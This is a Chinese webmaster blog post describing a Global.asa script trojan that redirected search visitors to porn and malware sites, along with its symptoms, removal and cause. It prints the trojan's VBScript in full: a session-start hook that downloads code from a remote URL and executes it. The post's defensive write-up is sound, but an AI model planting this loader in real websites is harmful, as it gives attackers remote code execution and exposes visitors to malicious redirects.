最近在查看网站流量统计的时候发现流量有些异常,于是检查网站程序的时候发现程序多出了一个文件。文件名是Global.asa,上传时间为9月13日晚上,我的网站使用的是开源的企业建站系统,一开始没注意过这个问题,就在昨天我的网站流量一下子跌倒了低谷,当时我就怀疑是网站程序出现了问题,但是就是找不出毛病来。后来经常访问网站的客户打电话告诉我说:“从百度打开你的网站会自动跳转到某些色情网站上,并且会被360提示有木马病毒。”于是在网上搜索了一些解决Global.asa木马的方法,下面就给大家说下我的解决方法。
什么是global.asa木马呢?
global.asa在百度百科里是这样介绍的:
Global.asa 文件是一个可选的文件,它可包含可被ASP 应用程序中每个页面访问的对象、变量以及方法的声明。所有合法的浏览器脚本都能在Global.asa 中使用。 Global.asa 中,我们可以告知application 和session 对象在启动和结束时做什么事情。完成此项任务的代码被放置在事件操作器中。
根据上面的介绍大家应该大体了解了,其实这个木马就是属于网站程序木马,也称:脚本木马。 但是黑客为什么会以global.asa命名呢?因为这个文件可以调用很多程序,比如当客户访问你的网站的时候,可以调用跳转的命令。正因为global.asa文件作用的特殊性,所以被黑客所利用,并制作成了网站木马。
首先我们来看下global.asa木马的代码:
sub Session_OnStart
On Error Resume Next
url=”http://upload.chinaz.com//”
Set ObjXMLHTTP=Server.CreateObject(“MSXML2.serverXMLHTTP”)
ObjXMLHTTP.Open “GET”,url,False
ObjXMLHTTP.setRequestHeader “User-Agent”,url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject(“Adodb.Stream”)
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = “gb2312″
GetHtml = objStream.ReadText
objStream.Close
set objStream=Nothing
if instr(GetHtml,”by*aming”)>0 then
execute GetHtml
end if
end sub
sub Session_OnEnd
end sub
我来给大家先解释一下这个代码的作用:因为global.asa 文件是网站启动的文件,当一个网站被用户访问的时候,会执行Application_Start代码段的内容,当一个当一个用户第一次访问时会执行Session_Start代码段的内容,所以此段代码的作用就是当访问的时候自动下载获取木马内容,上面遇到的就是跳转性作用的木马代码。
global.asa挂马的症状
global.asa文件是隐藏性的你在FTP都看不到的,用了sinesafe网站木马检测工具检测到了了隐藏global.asa的木马,当用户从百度点击进来的时候,网站的会自动跳转到其他网站:比如色情站点和有病毒的网站。再就是百度site:自己的网站会发现收录了许多色情页面。
如果站长们发现自己的站点也有上述的症状,那恭喜你了。
怎么解决删除global.asa木马呢?
global.asa这个文件一般是在根目录下的,我自己尝试了N多遍,都没有删掉,在文件属性方面也做了修改,也始终无法删除这个顽固的木马。到最后找了sine安全,他们用CHMOD命令删除了木马。如果自己不会删除的话你可以找自己的空间商让他们给你删除这个木马。
global.asa属于系统文件只能在cmd命令下强制删除。
到最后还要告诉大家一点是,为什么网站会被挂global.asa木马呢?其实根本的原因就是网站程序有漏洞,因为网站有漏洞才会被黑客利用并提权拿下了你网站的权限并上传制作了木马。只有把网站的安全做好了,你才不会被挂马的。在这里大家一定不要小看了网站的安全,往下安全尤其重要,牵扯着我们站长的心,网站不安全,百度就会拔毛,自己辛辛苦苦的网站就这么被毁,你也不甘心,只有网站安全了,才能带来稳定的客户来源,安全问题不可忽视。给用户一个安全稳定的网站平台,当然给你带来的则是最大的营销收益。